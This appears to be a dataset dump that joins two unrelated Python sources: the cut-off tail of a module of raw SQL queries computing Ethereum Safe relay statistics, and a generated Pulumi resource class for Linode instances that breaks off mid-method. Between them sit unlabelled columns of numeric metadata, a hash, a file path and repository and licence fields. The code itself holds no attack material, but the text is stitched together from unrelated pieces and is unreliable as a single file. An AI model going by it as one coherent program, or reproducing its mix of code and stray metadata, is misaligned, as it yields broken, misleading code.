datetime.datetime ) -> int: from .models import EthereumTxCallType query = """ SELECT DATE(EB.timestamp) as date, SUM(IT.value) AS value FROM relay_safecontract SC JOIN relay_internaltx IT ON SC.address=IT."_from" OR SC.address=IT."to" JOIN relay_ethereumtx ET ON IT.ethereum_tx_id=ET.tx_hash JOIN relay_ethereumblock EB ON ET.block_id=EB.number WHERE IT.call_type != {0} AND error IS NULL AND EB.timestamp BETWEEN %s AND %s GROUP BY DATE(EB.timestamp) ORDER BY DATE(EB.timestamp) """.format( EthereumTxCallType.DELEGATE_CALL.value ) return run_raw_query(query, from_date, to_date) def get_total_token_volume( self, from_date: datetime.datetime, to_date: datetime.datetime ): """ :return: Dictionary of {token_address: str, volume: int} """ query = """ SELECT EV.token_address, SUM((EV.arguments->>'value')::decimal) AS value FROM relay_safecontract SC JOIN relay_ethereumevent EV ON SC.address = EV.arguments->>'from' OR SC.address = EV.arguments->>'to' JOIN relay_ethereumtx ET ON EV.ethereum_tx_id=ET.tx_hash JOIN relay_ethereumblock EB ON ET.block_id=EB.number WHERE arguments ? 'value' AND topic='{0}' AND EB.timestamp BETWEEN %s AND %s GROUP BY token_address""".format( ERC20_721_TRANSFER_TOPIC.replace("0x", "") ) # No risk of SQL Injection return run_raw_query(query, from_date, to_date) def get_total_token_volume_grouped( self, from_date: datetime.datetime, to_date: datetime.datetime ): """ :return: Dictionary of {token_address: str, volume: int} """ query = """ SELECT DATE(EB.timestamp) as date, EV.token_address, SUM((EV.arguments->>'value')::decimal) AS value FROM relay_safecontract SC JOIN relay_ethereumevent EV ON SC.address = EV.arguments->>'from' OR SC.address = EV.arguments->>'to' JOIN relay_ethereumtx ET ON EV.ethereum_tx_id=ET.tx_hash JOIN relay_ethereumblock EB ON ET.block_id=EB.number WHERE arguments ? 'value' AND topic='{0}' AND EB.timestamp BETWEEN %s AND %s GROUP BY DATE(EB.timestamp), token_address ORDER BY DATE(EB.timestamp)""".format( ERC20_721_TRANSFER_TOPIC.replace("0x", "") ) # No risk of SQL Injection return run_raw_query(query, from_date, to_date) def get_creation_tokens_usage( self, from_date: datetime.datetime, to_date: datetime.datetime ) -> Optional[List[Dict[str, Any]]]: query = """ SELECT DISTINCT payment_token, COUNT(*) OVER(PARTITION BY payment_token) as number, 100.0 * COUNT(*) OVER(PARTITION BY payment_token) / COUNT(*) OVER() as percentage FROM (SELECT tx_hash, payment_token, created FROM relay_safecreation UNION SELECT tx_hash, payment_token, created FROM relay_safecreation2) SC JOIN relay_ethereumtx ET ON SC.tx_hash = ET.tx_hash WHERE SC.created BETWEEN %s AND %s """ return run_raw_query(query, from_date, to_date) def get_creation_tokens_usage_grouped( self, from_date: datetime.datetime, to_date: datetime.datetime ) -> Optional[List[Dict[str, Any]]]: query = """ SELECT DISTINCT DATE(SC.created), payment_token, COUNT(*) OVER(PARTITION BY DATE(SC.created), payment_token) as number, 100.0 * COUNT(*) OVER(PARTITION BY DATE(SC.created), payment_token) / COUNT(*) OVER(PARTITION BY DATE(SC.created)) as percentage FROM (SELECT tx_hash, payment_token, created FROM relay_safecreation UNION SELECT tx_hash, payment_token, created FROM relay_safecreation2) SC JOIN relay_ethereumtx ET ON SC.tx_hash = ET.tx_hash WHERE SC.created BETWEEN %s AND %s ORDER BY(DATE(SC.created)) """ # Returns list of {'date': date, 'payment_token': Optional[str], 'number': int, percentage: 'float') return run_raw_query(query, from_date, to_date) class SafeContractQuerySetRaw(models.QuerySet): def with_token_balance(self): """ :return: Dictionary of {address: str, token_address: str and balance: int} """ query = """ SELECT address, token_address, SUM(value) as balance FROM (SELECT address, token_address, -(arguments->>'value')::decimal AS value FROM relay_safecontract JOIN relay_ethereumevent ON relay_safecontract.address = relay_ethereumevent.arguments->>'from' WHERE arguments ? 'value' AND topic='{0}' UNION SELECT address, token_address, (arguments->>'value')::decimal FROM relay_safecontract JOIN relay_ethereumevent ON relay_safecontract.address = relay_ethereumevent.arguments->>'to' WHERE arguments ? 'value' AND topic='{0}') AS X GROUP BY address, token_address """.format( ERC20_721_TRANSFER_TOPIC.replace("0x", "") ) return run_raw_query(query)
44.624242
116
0.62685
1,899
14,726
4.676672
0.081622
0.042563
0.058552
0.023646
0.887625
0.846751
0.817138
0.790902
0.772661
0.746087
0
0.006553
0.285006
14,726
329
117
44.759878
0.836927
0.042917
0
0.635037
0
0.047445
0.665686
0.063792
0
0
0
0
0
1
0.058394
false
0
0.025547
0
0.149635
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
bb9dcc8419283a003cf72b15cf9a0b75ebe0d53d
35,130
py
Python
sdk/python/pulumi_linode/instance.py
Charliekenney23/pulumi-linode
523c58758c8f5b78219c670ba1aad6c6fd46c07a
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_linode/instance.py
Charliekenney23/pulumi-linode
523c58758c8f5b78219c670ba1aad6c6fd46c07a
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_linode/instance.py
Charliekenney23/pulumi-linode
523c58758c8f5b78219c670ba1aad6c6fd46c07a
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import json import warnings import pulumi import pulumi.runtime from typing import Union from . import utilities, tables class Instance(pulumi.CustomResource): alerts: pulumi.Output[dict] authorized_keys: pulumi.Output[list] """ A list of SSH public keys to deploy for the root user on the newly created Linode. Only accepted if `image` is provided. *This value can not be imported.* *Changing `authorized_keys` forces the creation of a new Linode Instance.* """ authorized_users: pulumi.Output[list] """ A list of Linode usernames. If the usernames have associated SSH keys, the keys will be appended to the `root` user's `~/.ssh/authorized_keys` file automatically. *This value can not be imported.* *Changing `authorized_users` forces the creation of a new Linode Instance.* """ backup_id: pulumi.Output[float] """ A Backup ID from another Linode's available backups. Your User must have read_write access to that Linode, the Backup must have a status of successful, and the Linode must be deployed to the same region as the Backup. See /linode/instances/{linodeId}/backups for a Linode's available backups. This field and the image field are mutually exclusive. *This value can not be imported.* *Changing `backup_id` forces the creation of a new Linode Instance.* """ backups: pulumi.Output[dict] backups_enabled: pulumi.Output[bool] """ If this field is set to true, the created Linode will automatically be enrolled in the Linode Backup service. This will incur an additional charge. The cost for the Backup service is dependent on the Type of Linode deployed. """ boot_config_label: pulumi.Output[str] """ The Label of the Instance Config that should be used to boot the Linode instance. If there is only one `config`, the `label` of that `config` will be used as the `boot_config_label`. *This value can not be imported.* """ configs: pulumi.Output[list] disks: pulumi.Output[list] group: pulumi.Output[str] """ The display group of the Linode instance. """ image: pulumi.Output[str] """ An Image ID to deploy the Disk from. Official Linode Images start with linode/, while your Images start with private/. See /images for more information on the Images available for you to use. Examples are `linode/debian9`, `linode/fedora28`, `linode/ubuntu16.04lts`, `linode/arch`, and `private/12345`. *Changing `image` forces the creation of a new Linode Instance.* """ ip_address: pulumi.Output[str] ipv4s: pulumi.Output[list] ipv6: pulumi.Output[str] label: pulumi.Output[str] """ The Config's label for display purposes. Also used by `boot_config_label`. """ private_ip: pulumi.Output[bool] """ If true, the created Linode will have private networking enabled, allowing use of the 192.168.128.0/17 network within the Linode's region. It can be enabled on an existing Linode but it can't be disabled. """ private_ip_address: pulumi.Output[str] region: pulumi.Output[str] """ This is the location where the Linode is deployed. Examples are `"us-east"`, `"us-west"`, `"ap-south"`, etc. *Changing `region` forces the creation of a new Linode Instance.*. """ root_pass: pulumi.Output[str] specs: pulumi.Output[dict] stackscript_data: pulumi.Output[dict] """ An object containing responses to any User Defined Fields present in the StackScript being deployed to this Linode. Only accepted if 'stackscript_id' is given. The required values depend on the StackScript being deployed. *This value can not be imported.* *Changing `stackscript_data` forces the creation of a new Linode Instance.* """ stackscript_id: pulumi.Output[float] """ The StackScript to deploy to the newly created Linode. If provided, 'image' must also be provided, and must be an Image that is compatible with this StackScript. *This value can not be imported.* *Changing `stackscript_id` forces the creation of a new Linode Instance.* """ status: pulumi.Output[str] swap_size: pulumi.Output[float] """ When deploying from an Image, this field is optional with a Linode API default of 512mb, otherwise it is ignored. This is used to set the swap disk size for the newly-created Linode. """ tags: pulumi.Output[list] """ A list of tags applied to this object. Tags are for organizational purposes only. """ type: pulumi.Output[str] """ The Linode type defines the pricing, CPU, disk, and RAM specs of the instance. Examples are `"g6-nanode-1"`, `"g6-standard-2"`, `"g6-highmem-16"`, `"g6-dedicated-16"`, etc. """ watchdog_enabled: pulumi.Output[bool] """ The watchdog, named Lassie, is a Shutdown Watchdog that monitors your Linode and will reboot it if it powers off unexpectedly. It works by issuing a boot job when your Linode powers off without a shutdown job being responsible. To prevent a loop, Lassie will give up if there have been more than 5 boot jobs issued within 15 minutes. """ def __init__(__self__, resource_name, opts=None, alerts=None, authorized_keys=None, authorized_users=None, backup_id=None, backups_enabled=None, boot_config_label=None, configs=None, disks=None, group=None, image=None, label=None, private_ip=None, region=None, root_pass=None, stackscript_data=None, stackscript_id=None, swap_size=None, tags=None, type=None, watchdog_enabled=None, __props__=None, __name__=None, __opts__=None): """ Create a Instance resource with the given unique name, props, and options. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[list] authorized_keys: A list of SSH public keys to deploy for the root user on the newly created Linode. Only accepted if `image` is provided. *This value can not be imported.* *Changing `authorized_keys` forces the creation of a new Linode Instance.* :param pulumi.Input[list] authorized_users: A list of Linode usernames. If the usernames have associated SSH keys, the keys will be appended to the `root` user's `~/.ssh/authorized_keys` file automatically. *This value can not be imported.* *Changing `authorized_users` forces the creation of a new Linode Instance.* :param pulumi.Input[float] backup_id: A Backup ID from another Linode's available backups. Your User must have read_write access to that Linode, the Backup must have a status of successful, and the Linode must be deployed to the same region as the Backup. See /linode/instances/{linodeId}/backups for a Linode's available backups. This field and the image field are mutually exclusive. *This value can not be imported.* *Changing `backup_id` forces the creation of a new Linode Instance.* :param pulumi.Input[bool] backups_enabled: If this field is set to true, the created Linode will automatically be enrolled in the Linode Backup service. This will incur an additional charge. The cost for the Backup service is dependent on the Type of Linode deployed. :param pulumi.Input[str] boot_config_label: The Label of the Instance Config that should be used to boot the Linode instance. If there is only one `config`, the `label` of that `config` will be used as the `boot_config_label`. *This value can not be imported.* :param pulumi.Input[str] group: The display group of the Linode instance. :param pulumi.Input[str] image: An Image ID to deploy the Disk from. Official Linode Images start with linode/, while your Images start with private/. See /images for more information on the Images available for you to use. Examples are `linode/debian9`, `linode/fedora28`, `linode/ubuntu16.04lts`, `linode/arch`, and `private/12345`. *Changing `image` forces the creation of a new Linode Instance.* :param pulumi.Input[str] label: The Config's label for display purposes. Also used by `boot_config_label`. :param pulumi.Input[bool] private_ip: If true, the created Linode will have private networking enabled, allowing use of the 192.168.128.0/17 network within the Linode's region. It can be enabled on an existing Linode but it can't be disabled. :param pulumi.Input[str] region: This is the location where the Linode is deployed. Examples are `"us-east"`, `"us-west"`, `"ap-south"`, etc. *Changing `region` forces the creation of a new Linode Instance.*. :param pulumi.Input[dict] stackscript_data: An object containing responses to any User Defined Fields present in the StackScript being deployed to this Linode. Only accepted if 'stackscript_id' is given. The required values depend on the StackScript being deployed. *This value can not be imported.* *Changing `stackscript_data` forces the creation of a new Linode Instance.* :param pulumi.Input[float] stackscript_id: The StackScript to deploy to the newly created Linode. If provided, 'image' must also be provided, and must be an Image that is compatible with this StackScript. *This value can not be imported.* *Changing `stackscript_id` forces the creation of a new Linode Instance.* :param pulumi.Input[float] swap_size: When deploying from an Image, this field is optional with a Linode API default of 512mb, otherwise it is ignored. This is used to set the swap disk size for the newly-created Linode. :param pulumi.Input[list] tags: A list of tags applied to this object. Tags are for organizational purposes only. :param pulumi.Input[str] type: The Linode type defines the pricing, CPU, disk, and RAM specs of the instance. Examples are `"g6-nanode-1"`, `"g6-standard-2"`, `"g6-highmem-16"`, `"g6-dedicated-16"`, etc. :param pulumi.Input[bool] watchdog_enabled: The watchdog, named Lassie, is a Shutdown Watchdog that monitors your Linode and will reboot it if it powers off unexpectedly. It works by issuing a boot job when your Linode powers off without a shutdown job being responsible. To prevent a loop, Lassie will give up if there have been more than 5 boot jobs issued within 15 minutes. The **alerts** object supports the following: * `cpu` (`pulumi.Input[float]`) * `io` (`pulumi.Input[float]`) * `networkIn` (`pulumi.Input[float]`) * `networkOut` (`pulumi.Input[float]`) * `transferQuota` (`pulumi.Input[float]`) The **configs** object supports the following: * `comments` (`pulumi.Input[str]`) - - Arbitrary user comments about this `config`. * `devices` (`pulumi.Input[dict]`) - A list of `disk` or `volume` attachments for this `config`. If the `boot_config_label` omits a `devices` block, the Linode will not be booted. * `sda` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `sdb` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `sdc` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `sdd` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `sde` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `sdf` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `sdg` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `sdh` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `helpers` (`pulumi.Input[dict]`) - Helpers enabled when booting to this Linode Config. * `devtmpfsAutomount` (`pulumi.Input[bool]`) * `distro` (`pulumi.Input[bool]`) - Controls the behavior of the Linode Config's Distribution Helper setting. * `modulesDep` (`pulumi.Input[bool]`) - Creates a modules dependency file for the Kernel you run. * `network` (`pulumi.Input[bool]`) - Controls the behavior of the Linode Config's Network Helper setting, used to automatically configure additional IP addresses assigned to this instance. * `updatedbDisabled` (`pulumi.Input[bool]`) - Disables updatedb cron job to avoid disk thrashing. * `kernel` (`pulumi.Input[str]`) - - A Kernel ID to boot a Linode with. Default is based on image choice. (examples: linode/latest-64bit, linode/grub2, linode/direct-disk) * `label` (`pulumi.Input[str]`) - The Config's label for display purposes. Also used by `boot_config_label`. * `memoryLimit` (`pulumi.Input[float]`) - - Defaults to the total RAM of the Linode * `rootDevice` (`pulumi.Input[str]`) - - The root device to boot. The corresponding disk must be attached to a `device` slot. Example: `"/dev/sda"` * `runLevel` (`pulumi.Input[str]`) - - Defines the state of your Linode after booting. Defaults to `"default"`. * `virtMode` (`pulumi.Input[str]`) - - Controls the virtualization mode. Defaults to `"paravirt"`. The **disks** object supports the following: * `authorized_keys` (`pulumi.Input[list]`) - A list of SSH public keys to deploy for the root user on the newly created Linode. Only accepted if `image` is provided. *This value can not be imported.* *Changing `authorized_keys` forces the creation of a new Linode Instance.* * `authorized_users` (`pulumi.Input[list]`) - A list of Linode usernames. If the usernames have associated SSH keys, the keys will be appended to the `root` user's `~/.ssh/authorized_keys` file automatically. *This value can not be imported.* *Changing `authorized_users` forces the creation of a new Linode Instance.* * `filesystem` (`pulumi.Input[str]`) - <elided> * `id` (`pulumi.Input[float]`) - The ID of the disk in the Linode API. * `image` (`pulumi.Input[str]`) - An Image ID to deploy the Disk from. Official Linode Images start with linode/, while your Images start with private/. See /images for more information on the Images available for you to use. Examples are `linode/debian9`, `linode/fedora28`, `linode/ubuntu16.04lts`, `linode/arch`, and `private/12345`. *Changing `image` forces the creation of a new Linode Instance.* * `label` (`pulumi.Input[str]`) - The Config's label for display purposes. Also used by `boot_config_label`. * `readOnly` (`pulumi.Input[bool]`) * `root_pass` (`pulumi.Input[str]`) - <elided> * `size` (`pulumi.Input[float]`) - The size of the Disk in MB. * `stackscript_data` (`pulumi.Input[dict]`) - An object containing responses to any User Defined Fields present in the StackScript being deployed to this Linode. Only accepted if 'stackscript_id' is given. The required values depend on the StackScript being deployed. *This value can not be imported.* *Changing `stackscript_data` forces the creation of a new Linode Instance.* * `stackscript_id` (`pulumi.Input[float]`) - The StackScript to deploy to the newly created Linode. If provided, 'image' must also be provided, and must be an Image that is compatible with this StackScript. *This value can not be imported.* *Changing `stackscript_id` forces the creation of a new Linode Instance.* > This content is derived from https://github.com/terraform-providers/terraform-provider-linode/blob/master/website/docs/r/instance.html.markdown. """ if __name__ is not None: warnings.warn("explicit use of __name__ is deprecated", DeprecationWarning) resource_name = __name__ if __opts__ is not None: warnings.warn("explicit use of __opts__ is deprecated, use 'opts' instead", DeprecationWarning) opts = __opts__ if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = dict() __props__['alerts'] = alerts __props__['authorized_keys'] = authorized_keys __props__['authorized_users'] = authorized_users __props__['backup_id'] = backup_id __props__['backups_enabled'] = backups_enabled __props__['boot_config_label'] = boot_config_label __props__['configs'] = configs __props__['disks'] = disks __props__['group'] = group __props__['image'] = image __props__['label'] = label __props__['private_ip'] = private_ip if region is None: raise TypeError("Missing required property 'region'") __props__['region'] = region __props__['root_pass'] = root_pass __props__['stackscript_data'] = stackscript_data __props__['stackscript_id'] = stackscript_id __props__['swap_size'] = swap_size __props__['tags'] = tags __props__['type'] = type __props__['watchdog_enabled'] = watchdog_enabled __props__['backups'] = None __props__['ip_address'] = None __props__['ipv4s'] = None __props__['ipv6'] = None __props__['private_ip_address'] = None __props__['specs'] = None __props__['status'] = None super(Instance, __self__).__init__( 'linode:index/instance:Instance', resource_name, __props__, opts) @staticmethod def get(resource_name, id, opts=None, alerts=None, authorized_keys=None, authorized_users=None, backup_id=None, backups=None, backups_enabled=None, boot_config_label=None, configs=None, disks=None, group=None, image=None, ip_address=None, ipv4s=None, ipv6=None, label=None, private_ip=None, private_ip_address=None, region=None, root_pass=None, specs=None, stackscript_data=None, stackscript_id=None, status=None, swap_size=None, tags=None, type=None, watchdog_enabled=None): """ Get an existing Instance resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param str id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[list] authorized_keys: A list of SSH public keys to deploy for the root user on the newly created Linode. Only accepted if `image` is provided. *This value can not be imported.* *Changing `authorized_keys` forces the creation of a new Linode Instance.* :param pulumi.Input[list] authorized_users: A list of Linode usernames. If the usernames have associated SSH keys, the keys will be appended to the `root` user's `~/.ssh/authorized_keys` file automatically. *This value can not be imported.* *Changing `authorized_users` forces the creation of a new Linode Instance.* :param pulumi.Input[float] backup_id: A Backup ID from another Linode's available backups. Your User must have read_write access to that Linode, the Backup must have a status of successful, and the Linode must be deployed to the same region as the Backup. See /linode/instances/{linodeId}/backups for a Linode's available backups. This field and the image field are mutually exclusive. *This value can not be imported.* *Changing `backup_id` forces the creation of a new Linode Instance.* :param pulumi.Input[bool] backups_enabled: If this field is set to true, the created Linode will automatically be enrolled in the Linode Backup service. This will incur an additional charge. The cost for the Backup service is dependent on the Type of Linode deployed. :param pulumi.Input[str] boot_config_label: The Label of the Instance Config that should be used to boot the Linode instance. If there is only one `config`, the `label` of that `config` will be used as the `boot_config_label`. *This value can not be imported.* :param pulumi.Input[str] group: The display group of the Linode instance. :param pulumi.Input[str] image: An Image ID to deploy the Disk from. Official Linode Images start with linode/, while your Images start with private/. See /images for more information on the Images available for you to use. Examples are `linode/debian9`, `linode/fedora28`, `linode/ubuntu16.04lts`, `linode/arch`, and `private/12345`. *Changing `image` forces the creation of a new Linode Instance.* :param pulumi.Input[str] label: The Config's label for display purposes. Also used by `boot_config_label`. :param pulumi.Input[bool] private_ip: If true, the created Linode will have private networking enabled, allowing use of the 192.168.128.0/17 network within the Linode's region. It can be enabled on an existing Linode but it can't be disabled. :param pulumi.Input[str] region: This is the location where the Linode is deployed. Examples are `"us-east"`, `"us-west"`, `"ap-south"`, etc. *Changing `region` forces the creation of a new Linode Instance.*. :param pulumi.Input[dict] stackscript_data: An object containing responses to any User Defined Fields present in the StackScript being deployed to this Linode. Only accepted if 'stackscript_id' is given. The required values depend on the StackScript being deployed. *This value can not be imported.* *Changing `stackscript_data` forces the creation of a new Linode Instance.* :param pulumi.Input[float] stackscript_id: The StackScript to deploy to the newly created Linode. If provided, 'image' must also be provided, and must be an Image that is compatible with this StackScript. *This value can not be imported.* *Changing `stackscript_id` forces the creation of a new Linode Instance.* :param pulumi.Input[float] swap_size: When deploying from an Image, this field is optional with a Linode API default of 512mb, otherwise it is ignored. This is used to set the swap disk size for the newly-created Linode. :param pulumi.Input[list] tags: A list of tags applied to this object. Tags are for organizational purposes only. :param pulumi.Input[str] type: The Linode type defines the pricing, CPU, disk, and RAM specs of the instance. Examples are `"g6-nanode-1"`, `"g6-standard-2"`, `"g6-highmem-16"`, `"g6-dedicated-16"`, etc. :param pulumi.Input[bool] watchdog_enabled: The watchdog, named Lassie, is a Shutdown Watchdog that monitors your Linode and will reboot it if it powers off unexpectedly. It works by issuing a boot job when your Linode powers off without a shutdown job being responsible. To prevent a loop, Lassie will give up if there have been more than 5 boot jobs issued within 15 minutes. The **alerts** object supports the following: * `cpu` (`pulumi.Input[float]`) * `io` (`pulumi.Input[float]`) * `networkIn` (`pulumi.Input[float]`) * `networkOut` (`pulumi.Input[float]`) * `transferQuota` (`pulumi.Input[float]`) The **backups** object supports the following: * `enabled` (`pulumi.Input[bool]`) * `schedule` (`pulumi.Input[dict]`) * `day` (`pulumi.Input[str]`) * `window` (`pulumi.Input[str]`) The **configs** object supports the following: * `comments` (`pulumi.Input[str]`) - - Arbitrary user comments about this `config`. * `devices` (`pulumi.Input[dict]`) - A list of `disk` or `volume` attachments for this `config`. If the `boot_config_label` omits a `devices` block, the Linode will not be booted. * `sda` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `sdb` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `sdc` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `sdd` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `sde` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `sdf` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `sdg` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `sdh` (`pulumi.Input[dict]`) * `disk_id` (`pulumi.Input[float]`) - The Disk ID of the associated `disk_label`, if used. * `diskLabel` (`pulumi.Input[str]`) - The `label` of the `disk` to map to this `device` slot. * `volumeId` (`pulumi.Input[float]`) - The Volume ID to map to this `device` slot. * `helpers` (`pulumi.Input[dict]`) - Helpers enabled when booting to this Linode Config. * `devtmpfsAutomount` (`pulumi.Input[bool]`) * `distro` (`pulumi.Input[bool]`) - Controls the behavior of the Linode Config's Distribution Helper setting. * `modulesDep` (`pulumi.Input[bool]`) - Creates a modules dependency file for the Kernel you run. * `network` (`pulumi.Input[bool]`) - Controls the behavior of the Linode Config's Network Helper setting, used to automatically configure additional IP addresses assigned to this instance. * `updatedbDisabled` (`pulumi.Input[bool]`) - Disables updatedb cron job to avoid disk thrashing. * `kernel` (`pulumi.Input[str]`) - - A Kernel ID to boot a Linode with. Default is based on image choice. (examples: linode/latest-64bit, linode/grub2, linode/direct-disk) * `label` (`pulumi.Input[str]`) - The Config's label for display purposes. Also used by `boot_config_label`. * `memoryLimit` (`pulumi.Input[float]`) - - Defaults to the total RAM of the Linode * `rootDevice` (`pulumi.Input[str]`) - - The root device to boot. The corresponding disk must be attached to a `device` slot. Example: `"/dev/sda"` * `runLevel` (`pulumi.Input[str]`) - - Defines the state of your Linode after booting. Defaults to `"default"`. * `virtMode` (`pulumi.Input[str]`) - - Controls the virtualization mode. Defaults to `"paravirt"`. The **disks** object supports the following: * `authorized_keys` (`pulumi.Input[list]`) - A list of SSH public keys to deploy for the root user on the newly created Linode. Only accepted if `image` is provided. *This value can not be imported.* *Changing `authorized_keys` forces the creation of a new Linode Instance.* * `authorized_users` (`pulumi.Input[list]`) - A list of Linode usernames. If the usernames have associated SSH keys, the keys will be appended to the `root` user's `~/.ssh/authorized_keys` file automatically. *This value can not be imported.* *Changing `authorized_users` forces the creation of a new Linode Instance.* * `filesystem` (`pulumi.Input[str]`) - <elided> * `id` (`pulumi.Input[float]`) - The ID of the disk in the Linode API. * `image` (`pulumi.Input[str]`) - An Image ID to deploy the Disk from. Official Linode Images start with linode/, while your Images start with private/. See /images for more information on the Images available for you to use. Examples are `linode/debian9`, `linode/fedora28`, `linode/ubuntu16.04lts`, `linode/arch`, and `private/12345`. *Changing `image` forces the creation of a new Linode Instance.* * `label` (`pulumi.Input[str]`) - The Config's label for display purposes. Also used by `boot_config_label`. * `readOnly` (`pulumi.Input[bool]`) * `root_pass` (`pulumi.Input[str]`) - <elided> * `size` (`pulumi.Input[float]`) - The size of the Disk in MB. * `stackscript_data` (`pulumi.Input[dict]`) - An object containing responses to any User Defined Fields present in the StackScript being deployed to this Linode. Only accepted if 'stackscript_id' is given. The required values depend on the StackScript being deployed. *This value can not be imported.* *Changing `stackscript_data` forces the creation of a new Linode Instance.* * `stackscript_id` (`pulumi.Input[float]`) - The StackScript to deploy to the newly created Linode. If provided, 'image' must also be provided, and must be an Image that is compatible with this StackScript. *This value can not be imported.* *Changing `stackscript_id` forces the creation of a new Linode Instance.* The **specs** object supports the following: * `disk` (`pulumi.Input[float]`) * `memory` (`pulumi.Input[float]`) * `transfer` (`pulumi.Input[float]`) * `vcpus` (`pulumi.Input[float]`) > This content is derived from https://github.com/terraform-providers/terraform-provider-linode/blob/master/website/docs/r/instance.html.markdown. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = dict() __props__["alerts"] = alerts __props__["authorized_keys"] = authorized_keys __props__["authorized_users"] = authorized_users __props__["backup_id"] = backup_id __props__["backups"] = backups __props__["backups_enabled"] = backups_enabled __props__["boot_config_label"] = boot_config_label __props__["configs"] = configs __props__["disks"] = disks __props__["group"] = group __props__["image"] = image __props__["ip_address"] = ip_address __props__["ipv4s"] = ipv4s __props__["ipv6"] = ipv6 __props__["label"] = label __props__["private_ip"] = private_ip __props__["private_ip_address"] = private_ip_address __props__["region"] = region __props__["root_pass"] = root_pass __props__["specs"] = specs __props__["stackscript_data"] = stackscript_data __props__["stackscript_id"] = stackscript_id __props__["status"] = status __props__["swap_size"] = swap_size __props__["tags"] = tags __props__["type"] = type __props__["watchdog_enabled"] = watchdog_enabled return Instance(resource_name, opts=opts, __props__=__props__) def translate_output_property(self, prop): return 